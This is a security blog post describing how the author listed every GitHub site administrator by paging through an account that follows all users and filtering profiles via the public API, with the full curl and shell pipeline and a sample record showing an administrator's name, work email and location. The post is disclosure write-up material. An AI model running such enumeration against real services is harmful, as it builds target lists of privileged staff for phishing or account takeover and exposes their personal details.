Posts The time I enumerated every GitHub admin
Post
Cancel

The time I enumerated every GitHub admin

Finding the design flaw

While playing with the GitHub API querying different things, I had a light bulb go off. If you can query any GitHub user via API, and see their adminstrator access level, why would it not be feasable to piggy back the “Myspace Tom” KevinHock account that follows every GitHub user, to get the list? At the end of the day, what’s the worst that could happen.

Exploit

Basically we query the API for KevinHock’s account. Later we do this in a loop, so that we can get around the only 100 records per page maximum. We’ll also need to add a sleep because if you query the API too quickly, you’ll hit a rate limit and be locked out temporarily.

for i in {1..10000};
  do
    curl "https://api.github.com/users/KevinHock/following?per_page=100&page=${i}" -s | tee -a github.ids; # KevinHock follows everyone
    sleep 300; # sleep 5 min between pages or rate limit kicks in soon
done;

We’ll do this about 10,000 times, with a self limit set at 5 minute query intervals so that we don’t get locked out. We use tee to be able to see the data pulled back as we wite it to a file. Next we’ll line up the data with grep around login, then remove an extreneous character with cut before sending the data over to xargs which will run curl on that user, then send the logins through sed to fix the json formatting. Finally we sae to github_admins.txt

cat github.ids | grep true -B 18 -A 1 | grep login | cut -d '"' -f 4 | xargs -I {LOGIN} curl "https://api.github.com/users/{LOGIN}" -s | sed -e 's/}/},/' > github_admins.txt

The output

cat github_admins.txt

Will show us (and a lot more):

[
{
  "login": "bruce",
  "id": 72,
  "node_id": "MDQ6VXNlcjcy",
  "avatar_url": "https://avatars.githubusercontent.com/u/72?v=4",
  "gravatar_id": "",
  "url": "https://api.github.com/users/bruce",
  "html_url": "https://github.com/bruce",
  "followers_url": "https://api.github.com/users/bruce/followers",
  "following_url": "https://api.github.com/users/bruce/following{/other_user},",
  "gists_url": "https://api.github.com/users/bruce/gists{/gist_id},",
  "starred_url": "https://api.github.com/users/bruce/starred{/owner},{/repo}",
  "subscriptions_url": "https://api.github.com/users/bruce/subscriptions",
  "organizations_url": "https://api.github.com/users/bruce/orgs",
  "repos_url": "https://api.github.com/users/bruce/repos",
  "events_url": "https://api.github.com/users/bruce/events{/privacy},",
  "received_events_url": "https://api.github.com/users/bruce/received_events",
  "type": "User",
  "site_admin": true,
  "name": "Bruce Williams",
  "company": "@github",
  "blog": "http://bruce.io",
  "location": "Portland, OR",
  "email": "bruce@github.com",
  "hireable": null,
  "bio": "Polyglot programmer, co-creator of Absinthe, the GraphQL toolkit for Elixir.",
  "twitter_username": null,
  "public_repos": 116,
  "public_gists": 86,
  "followers": 294,
  "following": 20,
  "created_at": "2008-01-28T07:16:45Z",
  "updated_at": "2021-02-04T17:12:54Z"
}
]

Conclusion

In the end you should have a .json file with all the administrators on GitHub saved to it. I submitted this for a bug bounty, but it didn’t qualify because they already knew about the design flaw and considered it low risk. Please don’t use this maliciously, it is for informational purposes only. View the full file: here.

Don’t try to take over their accounts!!!

This post is licensed under CC BY 4.0 by the author.